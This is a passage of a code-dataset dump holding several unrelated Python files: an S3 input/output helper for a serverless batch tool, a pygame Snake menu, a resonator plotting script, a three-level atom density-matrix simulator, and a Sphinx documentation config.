= str(\"XX-\" + get_voucher_number(supplier[:7]))\n supplier_ID = get_supplier_ID(supplier[:7])\n\n# Calculate invoice totals\n\n filename_full = str(os.path.join(root, filename))\n with open(filename_full) as f:\n Total = 0\n reader = csv.DictReader(f)\n line_items = []\n for row in reader:\n line_items.append(row)\n Cost = Decimal(row[\"Unit Cost\"])\n Cases = Decimal(row[\"Quantity\"])\n Total += Decimal(Cases * Cost)\n\n# Create dictionary with invoice totals\n key = str(filename_parts[0]) + invoice\n d_inv[key] = [supplier, supplier_ID, voucher_number, datestr, invoice, Total,]\n\n# Sort and print the dictionary\n\nd_inv_sort = {k: d_inv[k] for k in sorted(d_inv, reverse=True)}\nfor val in d_inv_sort.values():\n for item in val:\n print(item)\n print(\"---------------------\")\n\n# Create a csv file from the dictionary\n\nwith open('vouchers_sorted.csv', 'w') as f:\n for key in d_inv_sort.keys():\n f.write(\"%s,%s\\n\"%(key,d_inv_sort[key]))\n\n\n\n\n\n","sub_path":"acumatica/name_parser3.py","file_name":"name_parser3.py","file_ext":"py","file_size_in_byte":4372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"314856424","text":"# Copyright (C) GRyCAP - I3M - UPV\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport os\nimport boto3\nimport logging\nfrom urllib.parse import unquote_plus\nimport json\nimport base64\n\nlogger = logging.getLogger()\n\ndef lazy_property(func):\n ''' A decorator that makes a property lazy-evaluated.'''\n attr_name = '_lazy_' + func.__name__\n\n @property\n def _lazy_property(self):\n if not hasattr(self, attr_name):\n setattr(self, attr_name, func(self))\n return getattr(self, attr_name)\n return _lazy_property\n\nclass Lambda():\n\n def __init__(self, event):\n self.event = event\n self.input_folder = get_environment_variable('SCAR_INPUT_DIR')\n self.output_folder = get_environment_variable('SCAR_OUTPUT_DIR')\n self.request_id = get_environment_variable('REQUEST_ID')\n\n @lazy_property\n def output_bucket(self):\n output_bucket = get_environment_variable('OUTPUT_BUCKET')\n return output_bucket\n \n @lazy_property\n def output_bucket_folder(self):\n output_folder = get_environment_variable('OUTPUT_FOLDER')\n return output_folder\n \n @lazy_property\n def input_bucket(self):\n input_bucket = get_environment_variable('INPUT_BUCKET')\n return input_bucket\n \n def has_output_bucket(self):\n return is_variable_in_environment('OUTPUT_BUCKET')\n\n def has_output_bucket_folder(self):\n return is_variable_in_environment('OUTPUT_FOLDER')\n \n def has_input_bucket(self):\n return is_variable_in_environment('INPUT_BUCKET')\n\nclass S3():\n \n @lazy_property\n def client(self):\n client = boto3.client('s3')\n return client\n \n def __init__(self, lambda_instance):\n self.lambda_instance = lambda_instance\n if is_value_in_dict(self.lambda_instance.event, 'Records'):\n self.record = self.get_s3_record()\n self.input_bucket = self.record['bucket']['name']\n self.file_key = unquote_plus(self.record['object']['key'])\n self.file_name = os.path.basename(self.file_key).replace(' ', '')\n self.file_download_path = '{0}/{1}'.format(self.lambda_instance.input_folder, self.file_name)\n self.function_name = os.path.dirname(self.file_key).split(\"/\")[0]\n\n def get_s3_record(self):\n if len(self.lambda_instance.event['Records']) > 1:\n logger.warning(\"Multiple records detected. Only processing the first one.\")\n \n record = self.lambda_instance.event['Records'][0]\n if is_value_in_dict(record, 's3'):\n return record['s3']\n\n def download_input(self):\n '''Downloads the file from the S3 bucket and returns the path were the download is placed'''\n print(\"Downloading item from bucket '{0}' with key '{1}'\".format(self.input_bucket, self.file_key))\n if not os.path.isdir(self.file_download_path):\n os.makedirs(os.path.dirname(self.file_download_path), exist_ok=True)\n with open(self.file_download_path, 'wb') as data:\n self.client.download_fileobj(self.input_bucket, self.file_key, data)\n print(\"Successful download of file '{0}' from bucket '{1}' in path '{2}'\".format(self.file_key,\n self.input_bucket,\n self.file_download_path))\n return self.file_download_path\n \n def get_file_key(self, function_name=None, folder=None, file_name=None):\n if function_name:\n return \"{0}/{1}/{2}/{3}\".format(function_name, folder, self.lambda_instance.request_id, file_name)\n else:\n return \"{0}/{1}/{2}\".format(folder, self.lambda_instance.request_id, file_name)\n\n def upload_output(self, bucket_name, bucket_folder=None):\n output_files_path = get_all_files_in_directory(self.lambda_instance.output_folder)\n print(\"UPLOADING FILES {0}\".format(output_files_path))\n for file_path in output_files_path:\n file_name = file_path.replace(\"{0}/\".format(self.lambda_instance.output_folder), \"\")\n if bucket_folder:\n file_key = self.get_file_key(folder=bucket_folder, file_name=file_name)\n else:\n file_key = self.get_file_key(function_name=self.function_name, folder='output', file_name=file_name)\n self.upload_file(bucket_name, file_path, file_key)\n \n def upload_file(self, bucket_name, file_path, file_key):\n print(\"Uploading file '{0}' to bucket '{1}'\".format(file_key, bucket_name))\n with open(file_path, 'rb') as data:\n self.client.upload_fileobj(data, bucket_name, file_key)\n print(\"Changing ACLs for public-read for object in bucket {0} with key {1}\".format(bucket_name, file_key))\n obj = boto3.resource('s3').Object(bucket_name, file_key)\n obj.Acl().put(ACL='public-read')\n \n def download_file_to_memory(self, bucket_name, file_key):\n obj = boto3.resource('s3').Object(bucket_name=bucket_name, key=file_key)\n print (\"Reading item from bucket {0} with key {1}\".format(bucket_name, file_key))\n return obj.get()[\"Body\"].read()\n \n def delete_file(self):\n self.client.delete_object(Bucket=self.input_bucket, Key=self.file_key)\n\ndef join_paths(*paths):\n return os.path.join(*paths)\n\ndef get_all_files_in_directory(dir_path):\n files = []\n for dirname, _, filenames in os.walk(dir_path):\n for filename in filenames:\n files.append(os.path.join(dirname, filename))\n return files\n\ndef set_log_level():\n if is_variable_in_environment('LOG_LEVEL'):\n logger.setLevel(get_environment_variable('LOG_LEVEL'))\n else:\n logger.setLevel('INFO')\n\ndef is_variable_in_environment(variable):\n return is_value_in_dict(os.environ, variable)\n\ndef get_environment_variable(variable):\n if is_variable_in_environment(variable):\n return os.environ[variable]\n\ndef is_value_in_dict(dictionary, value):\n return value in dictionary and dictionary[value]\n\ndef base64_to_utf8_string(value):\n return base64.b64decode(value).decode('utf-8')\n\ndef create_file_with_content(path, content):\n with open(path, \"w\") as f:\n f.write(content)\n\ndef create_user_script():\n if is_variable_in_environment('SCRIPT'):\n script_path = join_paths(get_environment_variable('SCAR_INPUT_DIR'), 'script.sh')\n script_content = base64_to_utf8_string(get_environment_variable('SCRIPT'))\n create_file_with_content(script_path, script_content) \n os.system('chmod +x {0}'.format(script_path))\n \ndef parse_input():\n if is_variable_in_environment('INPUT_BUCKET'):\n lambda_instance = Lambda(json.loads(os.environ['LAMBDA_EVENT']))\n print('INPUT_BUCKET: {0}'.format(os.environ['INPUT_BUCKET']))\n S3(lambda_instance).download_input() \n\ndef parse_output():\n if is_variable_in_environment('OUTPUT_BUCKET'):\n upload_to_bucket()\n\ndef upload_to_bucket():\n lambda_instance = Lambda(json.loads(os.environ['LAMBDA_EVENT']))\n bucket_name = None\n bucket_folder = None\n\n if lambda_instance.has_output_bucket():\n bucket_name = lambda_instance.output_bucket\n print(\"OUTPUT BUCKET SET TO {0}\".format(bucket_name))\n\n if lambda_instance.has_output_bucket_folder():\n bucket_folder = lambda_instance.output_bucket_folder\n print(\"OUTPUT FOLDER SET TO {0}\".format(bucket_folder))\n\n elif lambda_instance.has_input_bucket():\n bucket_name = lambda_instance.input_bucket\n print(\"OUTPUT BUCKET SET TO {0}\".format(bucket_name))\n\n if bucket_name:\n S3(lambda_instance).upload_output(bucket_name, bucket_folder)\n\nif __name__ == \"__main__\":\n set_log_level()\n step = os.environ['STEP']\n if step == \"INIT\":\n create_user_script()\n parse_input()\n \n elif step == \"END\":\n parse_output()\n","sub_path":"scarbatch_io.py","file_name":"scarbatch_io.py","file_ext":"py","file_size_in_byte":8499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"546216980","text":"#Justin Hendrick http://code.google.com/p/colorful-snake\nimport pygame\nimport os\nfrom random import randint\n\n# draw menu selection box\ndef menusel(select, col):\n if select == 0:\n draw(9, 11, 30, col)\n if select == 1:\n draw(9, 13, 30, col)\n if select == 2:\n draw(9, 15, 30, col)\n if select == 3:\n draw(9, 17, 30, col)\n if select == 4:\n draw(9, 19, 30, col)\n\n#draws rounded squares\ndef draw(x, y, sz, col):\n clock.tick(55)\n x *= sz\n y *= sz\n if col == \"sn\":\n r = randint(100,200)\n g = randint(100,200)\n b = randint(100,200)\n if col == \"bl\":\n r = g = b = 0\n rad=(sz - 2) / 2\n l=range(-rad, rad + 1)\n for ix in l:\n for iy in l:\n if (ix == -rad or ix == rad) and (iy == -rad or iy == rad):\n pass\n else:\n screen.set_at((x + ix, y + iy), (r, g, b))\n pygame.display.flip()\n\n#set screen and clock\npygame.init()\nscreen = pygame.display.set_mode((770,700))\npygame.display.set_caption(\"Colorful Snake by Justin Hendrick\")\nclock = pygame.time.Clock()\n\n#draw snake logo\ndraw(11, 6, 15, \"sn\")\nfor i in range(5, 16):\n draw(41, i, 15, \"sn\")\nfor i in range(42, 45):\n draw(i, 10, 15, \"sn\")\nfor i in range(5, 12):\n draw(i, 10, 15, \"sn\")\nfor i in range(10, 15):\n draw(11, i, 15, \"sn\")\nfor i in range(11, 4, -1):\n draw(i, 15, 15, \"sn\")\ndraw(5, 14, 15, \"sn\")\ndraw(15, 6, 15, \"sn\")\ndraw(17, 9, 15, \"sn\")\ndraw(17, 10, 15, \"sn\")\nfor i in range(15, 4, -1):\n draw(14, i, 15, \"sn\")\ndraw(14, 5, 15, \"sn\")\ndraw(18, 11, 15, \"sn\")\ndraw(15, 6, 15, \"sn\")\ndraw(16, 7, 15, \"sn\")\nfor i in range(5, 12):\n draw(i, 5, 15, \"sn\")\ndraw(16, 8, 15, \"sn\")\ndraw(18, 12, 15, \"sn\")\nfor i in range(42, 46):\n draw(i, 5, 15, \"sn\")\n draw(i, 15, 15, \"sn\")\nfor i in range(25, 29):\n draw(i, 5, 15, \"sn\")\nfor i in range(25, 29):\n draw(i, 9, 15, \"sn\")\ndraw(19, 13, 15, \"sn\")\nfor i in range(15, 4, -1):\n draw(24, i, 15, \"sn\")\nfor i in range(6, 10):\n draw(5, i, 15, \"sn\")\nx = 33\ny = 10\nb = 10\nfor i in range(6):\n draw(x, y, 15, \"sn\")\n draw(x, b, 15, \"sn\")\n x += 1\n y -= 1\n b += 1\nfor i in range(15, 4, -1):\n draw(29, i, 15, \"sn\")\nfor i in range(5, 16):\n draw(32, i, 15, \"sn\")\ndraw(19, 14, 15, \"sn\")\ndraw(20,15,15,\"sn\")\nfor i in range(15, 4, -1):\n draw(21, i, 15, \"sn\")\n\n#write choices onto screen\narial = pygame.font.SysFont(\"arial\", 30)\nez = arial.render(\"Easy\", True, (255, 255, 255))\nmd = arial.render(\"Medium\", True, (255, 255, 255))\nhd = arial.render(\"Hard\", True, (255, 255, 255))\nhs = arial.render(\"High Scores\", True, (255, 255, 255))\nqt = arial.render(\"Quit\", True, (255, 255, 255))\nscreen.blit(ez, (310, 315))\nscreen.blit(md, (310, 375))\nscreen.blit(hd, (310, 435))\nscreen.blit(hs, (310, 495))\nscreen.blit(qt, (310, 555))\npygame.display.flip()\n\n#setup menu loop\nmenu = True\nselect = 0\nmenusel(select, \"sn\")\n\n#mnu loop\nwhile menu:\n #slow it down to 25 fps and enable x to close\n clock.tick(25)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n menu = False\n elif event.type == pygame.KEYDOWN:\n\n #menu movement\n if event.key == pygame.K_UP:\n menusel(select, \"bl\")\n select -= 1\n if select == -1:\n select = 4\n menusel(select, \"sn\")\n if event.key == pygame.K_DOWN:\n menusel(select, \"bl\")\n select += 1\n if select == 5:\n select = 0\n menusel(select, \"sn\")\n\n #menu selection\n if event.key == pygame.K_RETURN:\n if select == 0: #play on easy\n trans = open(\".dif.txt\", \"w\")\n trans.write(\"Easy\")\n trans.close()\n execfile(\"colorfulsnake_4.py\")\n execfile(\"menu.py\")\n\n if select == 1: #play on medium\n trans = open(\".dif.txt\", \"w\")\n trans.write(\"Medium\")\n trans.close()\n execfile(\"colorfulsnake_4.py\")\n execfile(\"menu.py\")\n\n if select == 2: #play on hard\n trans = open(\".dif.txt\", \"w\")\n trans.write(\"Hard\")\n trans.close()\n execfile(\"colorfulsnake_4.py\")\n execfile(\"menu.py\")\n\n if select == 3: #show highscore\n if os.path.exists(\".sn_hiscore.txt\") == False:\n hsf = open(\".sn_hiscore.txt\",\"w\")\n hsf.write(\"0\\n0\\n0\")\n hsf.close()\n hsfa = open(\".sn_hiscore.txt\", \"r\")\n chs = hsfa.read()\n hsfa.close()\n chs = chs.split(\"\\n\")\n screen = pygame.display.set_mode((770, 700))\n for i in range(0, 3):\n chs[i] = eval(chs[i])\n highe = arial.render(\"Easy: %d\" %chs[0], True, (255, 255, 255))\n highm = arial.render(\"Medium: %d\" %chs[1], True, (255, 255, 255))\n highh = arial.render(\"Hard: %d\" %chs[2], True, (255, 255, 255))\n kcont = arial.render(\"Press any key to continue\", True, (255, 255, 255))\n screen.blit(highe, (310, 170))\n screen.blit(highm, (310, 320))\n screen.blit(highh, (310, 470))\n screen.blit(kcont, (240, 590))\n pygame.display.flip()\n while pygame.event.wait().type != pygame.KEYDOWN and pygame.event.wait().type != pygame.QUIT:\n pass\n execfile(\"menu.py\")\n if select == 4: #quit\n menu = False\n","sub_path":"11menu.py","file_name":"11menu.py","file_ext":"py","file_size_in_byte":6082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"173980182","text":"from qcodes.plots.qcmatplotlib import MatPlot\nfrom qcodes.plots.pyqtgraph import QtPlot\nfrom scipy.optimize import curve_fit\nimport scipy.integrate as integrate\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom lmfit.models import LorentzianModel, ConstantModel, GaussianModel\nimport numpy as np\n\ndef vec2mat(a, new_shape):\n\n padding = (new_shape - np.vstack((new_shape, a.shape))).T.tolist()\n print(padding)\n\n return np.pad(a, np.abs(padding), mode='constant')\n\ndef extents(f):\n delta = f[1] - f[0]\n return [f[0] - delta/2, f[-1] + delta/2]\n\nplt.close(\"all\")\nplt.rcParams[\"font.weight\"] = \"bold\"\nplt.rcParams[\"font.size\"] = 14\nplt.rcParams[\"axes.labelweight\"] = \"bold\"\nplt.rcParams[\"axes.labelweight\"] = \"bold\"\nplt.rcParams[\"axes.linewidth\"] = 2\n\n\n\ndata = pd.read_csv(\n 'Scripts and PPT Summary/CryoRX/2020-06-22/14-54-05_qtt_scan2Dresonatorfast/LP1_RP1.dat',\n skiprows=[0, 2], delimiter='\\t'\n ) # Cryo RX Stability diagram\n\n# data = pd.read_csv(\n# 'Scripts and PPT Summary/CryoRX/2020-06-22/15-55-00_qtt_scan2Dresonatorfast/LP1_RP1.dat',\n# skiprows=[0, 2], delimiter='\\t'\n# ) # Cryo RX Transition zoomed\n\npin = -40\nvin_peak = 10 ** ((pin - 10) / 20) \n\n\ndata_array = data.to_numpy()\n\nrp = data_array[0:200, 1]\n\nlp = data_array[:, 0]\nlp = lp[::200]\n\n\namp = 20*np.log10((np.resize(data_array[:,4], (200,200))) / vin_peak) # For Full stability diagram\n# amp = 20*np.log10((np.resize(data_array[:,4], (50,200))) / vin_peak) # For zoomed in\n\n\nplt.figure(figsize=(6, 6), dpi=150)\nplt.imshow(amp, origin='lower', extent=[min(rp) , max(rp), min(rp) , max(rp)])\nplt.colorbar(fraction=0.046, pad=0.04)\n\n\nplt.xlabel('V$_{RP}$')\nplt.ylabel('V$_{LP}$') \n","sub_path":"plot_2D_resonator.py","file_name":"plot_2D_resonator.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"91139447","text":"from __future__ import division\r\nimport scipy as sp\r\nfrom scipy.linalg import *\r\n\r\n# Helper functions\r\ndef conn(j, k, n):\r\n ''' Iterate through the non-diagonal elements '''\r\n if (j == k) :\r\n return -1\r\n if (j > k):\r\n j, k = k, j\r\n out = -1\r\n for temp in range(0, j+1):\r\n out += (n - 1) - temp\r\n out -= (n - 1) - k\r\n return out\r\n\r\ndef xv(j, k, n):\r\n ''' Find x(j, k) serial number in list:\r\n Order: first non diagonal elements (0,0)...(n,n) then off-diagonals\r\n '''\r\n if (j >= n) | (k >= n):\r\n return -1\r\n if (j == k):\r\n # Diagonal elements\r\n return j\r\n else :\r\n # Coherence, real part\r\n out = conn(j, k, n) + n\r\n return out\r\n\r\ndef yv(j, k, n):\r\n ''' Find y(j, k) serial number in list:\r\n Order: Off-diagonals only, after x values.\r\n\r\n Return:\r\n (y, mul) : y = -1 if invalid (j, k) values\r\n mul = -1 if (j > k), otherwise =1\r\n '''\r\n if (j >= n) | (k >= n):\r\n return (-1, -1)\r\n if (j == k):\r\n # Diagonal elements\r\n return (-1, -1)\r\n else :\r\n # Coherence, imaginary part\r\n multi = 1\r\n if (j > k):\r\n multi = -1\r\n out = conn(j, k, n) + 2 * n\r\n return (out, multi)\r\n\r\ndef ChooseMat(j, k, n, Choose):\r\n ''' Choose an element from a matrix in off-diagonal elements order\r\n Useful to handle state-state interactions\r\n '''\r\n iter = conn(j, k, n)\r\n if (iter < 0):\r\n return 0\r\n else:\r\n return Choose[iter]\r\n\r\ndef Mmat(params):\r\n ''' To evolve the density matrix\r\n\r\n Mmat(params)\r\n\r\n Input:\r\n params : parameters in a standard format =>\r\n laser1 = (Om1, d1, gg1)\r\n laser2 = (Om2, d2, gg2)\r\n params = (G,G1,G2,laser1,laser2)\r\n\r\n Output:\r\n M = density matrix evolving matrix, that is\r\n dq /dt = M * q\r\n\r\n It can be used to calculate complete time evolution.\r\n E.g. if it is time independent:\r\n q(t) = q(0) expm(M t)\r\n where expm() is the \"matrix exponential\"\r\n '''\r\n (G,G1,G2,laser1,laser2) = params\r\n (Om1, d1, gg1) = laser1\r\n (Om2, d2, gg2) = laser2\r\n # States:\r\n n = 3\r\n # ChooseMat: offdiagonals\r\n Om = [0, Om1/2, Om2/2]\r\n A = [0, G1, G2]\r\n Detu = [(d1-d2), d1, d2]\r\n # Diagonals\r\n # Gamma - total decay\r\n Gam = [0, 0, G]\r\n # Big gamma, width of states\r\n GM = sp.array([0, 0, G])\r\n # Laser linewidth\r\n lw = [gg1+gg2, gg1, gg2]\r\n\r\n # Matrix elements: x11, x22, x33, x12, x13, x23, y12, y13, y23\r\n Mm = sp.zeros((n**2, n**2))\r\n\r\n # Diagonal elements\r\n for j in range(0, n):\r\n for l in range(0, 3):\r\n y, mul = yv(j, l, n)\r\n if (y > -1):\r\n M = ChooseMat(l, j, n, Om)\r\n Mm[j, y] += 2 * M * mul\r\n if (j < l):\r\n Mm[j, l] += ChooseMat(j, l, n, A)\r\n Mm[j, j] += -Gam[j]\r\n\r\n # Off-diagonal, real part\r\n for j in range(0, n):\r\n for k in range(j+1,n):\r\n x = xv(j, k, n)\r\n for l in range(0, n):\r\n y, mul = yv(l, k, n)\r\n if (y > -1):\r\n M = ChooseMat(j, l, n, Om)\r\n Mm[x, y] += -M * mul\r\n y, mul = yv(j, l, n)\r\n if (y > -1):\r\n M = ChooseMat(l, k, n, Om)\r\n Mm[x, y] += M * mul\r\n Mm[x, x] += -(GM[j] + GM[k] + ChooseMat(j, k, n, lw)) / 2\r\n y, mul = yv(j, k, n)\r\n if (y > -1):\r\n Mm[x, y] += mul * ChooseMat(j, k, n, Detu)\r\n\r\n # Off-diagonal, imaginary part\r\n for j in range(0, n):\r\n for k in range(j+1,n):\r\n y, mul = yv(j, k, n)\r\n for l in range(0, n):\r\n x = xv(l, k, n)\r\n M = ChooseMat(j, l, n, Om)\r\n Mm[y, x] += M\r\n x = xv(j, l, n)\r\n M = ChooseMat(l, k, n, Om)\r\n Mm[y, x] += -M\r\n Mm[y, y] += -(GM[j] + GM[k] + ChooseMat(j, k, n, lw)) / 2\r\n x = xv(j, k, n)\r\n Mm[y, x] += - ChooseMat(j, k, n, Detu)\r\n return Mm\r\n\r\ndef MmatSpecial(params):\r\n ''' To evolve the density matrix, simplified Lambda-system treatment\r\n\r\n MmatSpecial(params)\r\n\r\n Input:\r\n params : parameters in a standard format =>\r\n laser1 = (Om1, d1, gg1)\r\n laser2 = (Om2, d2, gg2)\r\n params = (G,G1,G2,laser1,laser2)\r\n\r\n Output:\r\n M = density matrix evolving matrix, that is\r\n dq /dt = M * q\r\n\r\n It can be used to calculate complete time evolution.\r\n E.g. if it is time independent:\r\n q(t) = q(0) expm(M t)\r\n where expm() is the \"matrix exponential\"\r\n '''\r\n (G,G1,G2,laser1,laser2) = params\r\n (Om1, d1, gg1) = laser1\r\n (Om2, d2, gg2) = laser2\r\n # Matrix elements: x11, x22, x33, x12, x13, x23, y12, y13, y23\r\n # xjj = populations; (xjk, yjk) = coherences (real, imaginary) parts\r\n M = sp.array([[0, 0, G1, 0, 0, 0, 0, Om1, 0],\r\n [0, 0, G2, 0, 0, 0, 0, 0, Om2],\r\n [0, 0, -G, 0, 0, 0, 0, -Om1, -Om2],\r\n\r\n [0, 0, 0, -(gg1+gg2)/2, 0, 0, (d1-d2), Om2/2, Om1/2],\r\n [0, 0, 0, 0, -(G+gg1)/2, 0, Om2/2, d1, 0],\r\n [0, 0, 0, 0, 0, -(G+gg2)/2, -Om1/2, 0, d2],\r\n\r\n [0, 0, 0, -(d1-d2), -Om2/2, Om1/2, -(gg1+gg2)/2, 0, 0],\r\n [-Om1/2, 0, Om1/2, -Om2/2, -d1, 0, 0, -(G+gg1)/2, 0],\r\n [0, -Om2/2, Om2/2, -Om1/2, 0, -d2, 0, 0, -(G+gg2)/2]])\r\n return M\r\n\r\ndef timeseries(tseries, params, q0):\r\n ''' Time-dependent state evolution\r\n\r\n Input parameters:\r\n tseries = (tstart, tend, tnum) : time points to check (units of 1/G)\r\n params = parameters in the standard format\r\n q0 = starting configuration\r\n\r\n Output:\r\n (t, p1, p2, p3) : vectors of times and the three populations\r\n\r\n Example:\r\n laser1 = (Om1, d1, gg1)\r\n laser2 = (Om2, d2, gg2)\r\n params = (G,G1,G2,laser1,laser2)\r\n (t, p1, p2, p3) = timeseries((0,20,101),params, q0)\r\n # This will calculate the time evolution between 0 and 20/G,\r\n # using starting configuration q0\r\n '''\r\n # Setting up parameters\r\n (tstart, tend, tnum) = tseries\r\n t = sp.linspace(tstart, tend , tnum)\r\n p1 = sp.zeros((len(t),1))\r\n p2 = sp.zeros((len(t),1))\r\n p3 = sp.zeros((len(t),1))\r\n # Time evolution\r\n Mnow = Mmat(params)\r\n for i in range(0, len(t)):\r\n temp = sp.dot(expm(Mnow * t[i]), q0)\r\n p1[i] = temp[0]\r\n p2[i] = temp[1]\r\n p3[i] = temp[2]\r\n return (t, p1, p2, p3)\r\n\r\ndef spectra(detseries, laser, params, q0):\r\n ''' Spectra calculation\r\n\r\n Input parameters:\r\n detseries = (detstart, detend, detnum) : detunings to check (units of G)\r\n laser = 1/2 : which laser to scan\r\n params = parameters in the standard format\r\n q0 = starting configuration\r\n\r\n Outout:\r\n (det, p1, p2, p3) : vectors of detunings and the three populations\r\n\r\n Example:\r\n laser1 = (Om1, d1, gg1)\r\n laser2 = (Om2, d2, gg2)\r\n params = (G,G1,G2,laser1,laser2)\r\n (det, p1, p2, p3) = spectra((-10,10,401), 1, params, q0)\r\n # This will calculate the spectra between -10G and 10G detuning,\r\n # scanning laser1, using starting configuration q0\r\n '''\r\n # Setting up parameters\r\n (detstart, detend, detnum) = detseries\r\n det = sp.linspace(detstart, detend , detnum)\r\n p1 = sp.zeros((len(det),1))\r\n p2 = sp.zeros((len(det),1))\r\n p3 = sp.zeros((len(det),1))\r\n (G,G1,G2,laser1,laser2) = params\r\n (Om1, d1, gg1) = laser1\r\n (Om2, d2, gg2) = laser2\r\n # A very long time to go ahead and check the \"final\" population\r\n longt = 1000\r\n # Scan the laser detuning\r\n for i in range(0, len(det)):\r\n if laser == 1 :\r\n laser1 = (Om1, det[i], gg1)\r\n else :\r\n laser2 = (Om2, det[i], gg2)\r\n params = (G,G1,G2,laser1,laser2)\r\n temp = sp.dot(expm(Mmat(params) * longt), q0)\r\n p1[i] = temp[0]\r\n p2[i] = temp[1]\r\n p3[i] = temp[2]\r\n return (det, p1, p2, p3)\r\n","sub_path":"simple/threelevel.py","file_name":"threelevel.py","file_ext":"py","file_size_in_byte":8031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"259706617","text":"# -*- coding: utf-8 -*-\n#\n# Configuration file for the Sphinx documentation builder.\n#\n# This file does only contain a selection of the most common options. For a\n# full list see the documentation:\n# http://www.sphinx-doc.org/en/master/config\n\n# -- Path setup --------------------------------------------------------------\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#\n# import os\n# import sys\n# sys.path.insert(0, os.path.abspath('.'))\n# from sphinx.util.tags import Tags\n# import sphinx.builders.Builder\n\n# -- Project information -----------------------------------------------------\n\nproject = 'learning book'\ncopyright = '2018, zhangzhenhu'\nauthor = '张振虎'\n\n# The short X.Y version\nversion = '0.1'\n# The full version, including alpha/beta/rc tags\nrelease = 'alpha'\n\n# -- General configuration ---------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#\n# needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n # 'sphinx.ext.imgmath',\n 'sphinx.ext.mathjax',\n 'sphinx.ext.githubpages',\n 'sphinx.ext.todo',\n # 'sphinxcontrib.video',\n # 'sphinxcontrib.proof',\n 'sphinx.ext.githubpages',\n 'sphinx.ext.autosectionlabel',\n # 'sphinx.ext.todo',\n # 'recommonmark',\n 'sphinxcontrib.bibtex',\n]\ntodo_include_todos = True\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n#\n# source_suffix = ['.rst', '.md']\nsource_suffix = {'.rst': 'restructuredtext',\n '.md': 'markdown', }\n# print(tags.tags)\n# print(tags.has(\"html\"))\nexclude_patterns = [\n \"probability_model/3.什么是机器学习.rst\",\n \"probability_model/10.前后向算法_lecture_9.rst\",\n \"probability_model/lecture_5.rst\",\n \"probability_model/lecture_6.rst\",\n \"probability_model/lecture_10.rst\",\n \"probability_model/总结.rst\",\n \"probability_model/捐赠.rst\",\n \"probability_model/概率图浅析.rst\",\n \"probability_model/relation.rst\",\n # \"probability_model/声明.rst\",\n \"probability_model/deprecate.rst\",\n \"probability_model/bibliography.rst\",\n]\nif tags.has(\"html\"):\n\n master_doc = 'index'\n # The master toctree document.\n exclude_patterns.extend([\n \"probability_model/index.rst\",\n \"probability_model/index_pdf/*\",\n \"probability_model/index_part0.rst\",\n \"probability_model/index_part1.rst\",\n \"probability_model/index_part2.rst\",\n \"probability_model/index_part3.rst\",\n \"probability_model/index_part4.rst\",\n \"probability_model/index_part5.rst\",\n \"probability_model/index_part6.rst\",\n \"probability_model/index_part7.rst\",\n \"probability_model/index_pdf.rst\",\n ])\nelse:\n # master_doc = 'probability_model/index_pdf/index'\n master_doc = 'probability_model/index'\n exclude_patterns.extend([\n \"probability_model/参考文献.rst\",\n \"probability_model/index_html.rst\",\n \"probability_model/index_pdf/*.rst\",\n \"rst_tutorial/*.rst\",\n \"deep_learn/*.rst\",\n \"edm/*.rst\",\n \"machine_learn/*.rst\",\n \"data_mining/*.rst\",\n \"audio/*.rst\",\n \"index.rst\",\n \"important.rst\",\n\n # \"probability_model/index_pdf/*\",\n ])\n# exclude_patterns = []\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = 'zh_CN'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\n# exclude_patterns = []\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\n#\n# html_theme = 'alabaster'\n# ---sphinx-themes-----\nhtml_theme = 'p-green'\nimport os\nfrom PSphinxTheme import utils\n\np, html_theme, needs_sphinx = utils.set_psphinxtheme(html_theme)\nhtml_theme_path = p\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#\n# html_theme_options = {}\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Custom sidebar templates, must be a dictionary that maps document names\n# to template names.\n#\n# The default sidebars (for documents that don't match any pattern) are\n# defined by theme itself. Builtin themes are using these templates by\n# default: ``['localtoc.html', 'relations.html', 'sourcelink.html',\n# 'searchbox.html']``.\n#\n# html_sidebars = {\n# '**': [\n# 'about.html',\n# 'navigation.html',\n# 'relations.html', # needs 'show_related': True theme option to display\n# 'searchbox.html',\n# # 'donate.html',\n# ]\n# }\n\n# -- Options for HTMLHelp output ---------------------------------------------\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'learningbookdoc'\n\n# -- Options for LaTeX output 